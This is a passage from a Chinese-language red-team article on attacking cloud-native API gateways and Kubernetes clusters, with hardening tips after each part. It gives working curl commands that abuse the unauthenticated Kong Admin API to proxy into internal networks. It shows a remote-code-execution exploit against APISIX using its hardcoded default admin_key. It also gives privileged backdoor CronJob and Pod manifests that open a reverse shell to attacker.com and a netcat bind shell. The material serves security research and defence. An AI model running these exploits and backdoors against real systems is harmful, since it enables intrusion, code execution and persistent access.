Kong 使用 Kong Admin Rest API 作为管理 Kong Proxy 能力的关键入口,以支持最大程度的灵活性;在开源分支里,这个管理入口是没有鉴权能力的 (Kong 企业版支持对 Kong Admin Rest API 进行角色控制和鉴权),Kong 建议用户在网络层进行访问控制;当攻击方可以访问到这个 API,他就具有了 Kong Proxy 的所有能力,可以查看和修改企业当前在南北流量管理上的配置,可以直接控制 API 网关使其成为一个开放性的流量代理 (比 SSRF 更便于使用和利用);从攻击方的角度思考,控制了这个 API 等于是拥有了摸清网络架构和打破网络边界的能力。
当蓝军可以访问到 Kong Admin Rest API 和 Kong Proxy 时,蓝军可以通过以下步骤创建一个通往内网的代理:
# 1. 创建一个Service指向内网目标
curl -i -X POST http://kong-admin-api:8001/services/ \
--data "name=internal-service" \
--data "url=http://internal-target.com:443"
# 2. 创建一个Route将外部请求路由到该Service
curl -i -X POST http://kong-admin-api:8001/services/internal-service/routes \
--data "paths[]=/internal" \
--data "hosts[]=target.com"
至此,蓝军从外网发往 Kong Proxy 的流量只要 host 头带有 target.com 就会转发到内网的 target.com:443 中,实际利用手法会根据内网和目标站点配置的不同而变化。
而目前 Kong 的开源分支里是不支持给 Kong Admin Rest API 添加相应的鉴权能力的,只可以改变监听的网卡,或使用设置 Network Policy、 iptables、安全组等方式进行网络上隔离。现在最常见的方式就是不开放外网,只允许内网访问。也因为如此,如果已经进入到内网,API 网关的管理接口会成为我首要的攻击目标之一,借此我们可以摸清当前集群对内对外提供的相关能力,更有可能直接获取流量出入口容器的 Shell 权限。
Kong API网关安全配置:
网络隔离
- 将Kong Admin API限制在内部网络
- 使用反向代理(如Nginx)提供额外的访问控制
- 实施网络策略限制对Admin API的访问
# 配置Kong仅监听本地接口 admin_listen = 127.0.0.1:8001使用Kong Admin API密钥
- 在开源版中配置KONG_ADMIN_LISTEN和KONG_ADMIN_API_URI
- 使用自定义Nginx配置添加基本认证
server { listen 8001; location / { access_by_lua_block { local key = ngx.req.get_headers()["apikey"] if not key or key ~= "YOUR_SECRET_KEY" then return ngx.exit(401) end } proxy_pass http://localhost:8001; } }使用API网关保护Admin API
- 使用Kong自身作为Admin API的网关
- 配置密钥认证插件
# 创建Admin API服务 curl -i -X POST http://localhost:8001/services \ --data name=admin-api \ --data url=http://localhost:8001 # 创建路由 curl -i -X POST http://localhost:8001/services/admin-api/routes \ --data 'paths[]=/admin-api' # 启用密钥认证插件 curl -i -X POST http://localhost:8001/services/admin-api/plugins \ --data "name=key-auth"监控和审计
- 启用Kong的请求日志
- 实施集中日志收集和分析
- 监控异常的API调用模式
12.1. APISIX 的 RCE 利用
另外一个值得深入的开源组件就是 Apache APISIX,这是一款基于 lua 语言开发,是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。
APISIX 提供了 REST Admin API 功能,用户可以使用 REST Admin API 来管理 APISIX,默认情况下只允许 127.0.0.1 访问,用户可以修改 conf/config.yaml 中的 allow_admin 字段,指定允许调用 Admin API 的 ip 列表。
当用户对外开启了 Admin API 且未修改硬编码的缺省 admin_key 的情况下,攻击者可以利用该 admin_key 执行任意 lua 代码。
# 默认的admin_key配置
admin:
admin_key:
- name: admin
key: edd1c9f034335f136f87ad84b625c8f1 # 默认密钥,应当修改
role: admin
根据 apisix 官方文档可以知道,在创建路由时用户可以定义一个 filter_func 参数用于处理请求,filter_func 的内容可以是任意的 lua 代码。
那么我们便可以使用默认的 admin_key 创建恶意的 route 并访问以触发 lua 代码执行,达到 rce 的目的,下面是具体步骤:
(1)创建可用的 services:
curl -i -X PUT http://127.0.0.1:9080/apisix/admin/services/1 \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
-d '{
"upstream": {
"nodes": {
"127.0.0.1:80": 1
},
"type": "roundrobin"
}
}'
(2)创建恶意的 route:
curl -i -X PUT http://127.0.0.1:9080/apisix/admin/routes/1 \
-H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" \
-d '{
"uri": "/api/tforce_test",
"script": "local function hello() os.execute(\"touch /tmp/success\") end hello()",
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:1980": 1
}
}
}'
最后访问 http://127.0.0.1:9080/api/tforce_test 即可触发预定义的 lua 代码执行。
因此,在内网里攻击云原生 API 网关是比较容易打开一定局面的。
APISIX安全配置:
修改默认admin_key
- 立即更改默认的admin_key
- 使用强密码生成器创建复杂密钥
admin: admin_key: - name: admin key: your_strong_random_key_here # 替换默认密钥 role: admin限制Admin API访问
- 严格控制allow_admin列表
- 仅允许必要的IP地址访问
admin: allow_admin: - 127.0.0.0/24 - 192.168.1.0/24 # 仅允许特定内网IP访问实施TLS加密
- 为Admin API配置TLS证书
- 强制使用HTTPS访问
admin: https_admin: true admin_listen: ip: 127.0.0.1 port: 9443 ssl: cert: /path/to/cert.pem key: /path/to/key.pem定期审计路由配置
- 监控路由创建和修改
- 检查可疑的filter_func和script配置
- 实施变更管理流程
13. 其它利用场景和手法
13.1. 从 CronJob 谈持久化
因为 CronJob 的设计和 Linux CronTab 过于相似,所以很多人都会把其引申为在 Kubernetes 集群攻击的一些持久化思路。
官方文档
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ 里也谈及了 CronJob 和 CronTab 的对比, 这个技术也确实可以和 CronTab 一样一定程度上可以满足持久化的场景。
这里有一个我们预研时使用的 CronJob 配置:
apiVersion: batch/v1
kind: CronJob
metadata:
name: backdoor-cronjob
spec:
schedule: "*/1 * * * *" # 每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: backdoor
image: alpine:latest
command:
- /bin/sh
- -c
- "echo 'Starting backdoor'; nc -e /bin/sh attacker.com 4444"
securityContext:
privileged: true # 特权容器
restartPolicy: OnFailure
此处的配置会隔每分钟创建一个具有生命周期的 POD,同时这些容器也可以使用特权容器(如上述配置)、挂载大目录等设置,此时持久化创建的 POD 就可以拥有特权和访问宿主机根目录文件的权限。
不过实际对抗过程中,虽然我们也会对恶意的 POD 和容器做一定的持久化,但是直接使用 CronJob 的概率却不高。在创建后门 POD 的时候,直接使用 restartPolicy: Always 就可以方便优雅的进行后门进程的重启和维持,所以对 CronJob 的需求反而没那么高。
apiVersion: v1
kind: Pod
metadata:
name: persistent-backdoor
spec:
containers:
- name: backdoor
image: alpine:latest
command: ["/bin/sh", "-c", "while true; do nc -lvp 4444 -e /bin/sh; sleep 10; done"]
securityContext:
privileged: true
restartPolicy: Always # 容器退出后自动重启
防御建议:
- 监控CronJob和Pod创建活动
- 实施Pod Security Policies限制容器权限
- 定期审计集群中的CronJob配置
- 使用准入控制器验证新创建的Pod和CronJob
- 实施网络策略,限制容器的出站连接
14. 致谢
[WIP]
也感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
15. 引用
- https://github.com/cdk-team/CDK/
- https://force.tencent.com/docs/CIS2020-Attack-in-a-Service-Mesh-Public.pdf?v=1
- https://github.com/cncf/toc/blob/master/DEFINITION.md
- https://www.cncf.io/blog/2017/04/26/service-mesh-critical-component-cloud-native-stack/
- https://github.com/lxc/lxcfs
- https://github.com/cdr/code-server
- https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands
- https://thehackernews.com/2021/01/new-docker-container-escape-bug-affects.html
- https://medium.com/jorgeacetozi/kubernetes-master-components-etcd-api-server-controller-manager-and-scheduler-3a0179fc8186
- https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/#4-2-procfs-
- https://security.tencent.com/index.php/announcement/msg/193
- https://www.freebuf.com/vuls/196993.html
- https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
- https://kubernetes.io/zh/docs/reference/command-line-tools-reference/kubelet/
- https://www.cdxy.me/?p=827
- https://medium.com/jorgeacetozi/kubernetes-master-components-etcd-api-server-controller-manager-and-scheduler-3a0179fc8186
- https://github.com/neargle/CVE-2018-6574-POC
- https://www.serverless.com/blog/serverless-faas-vs-containers/
- https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands
- https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/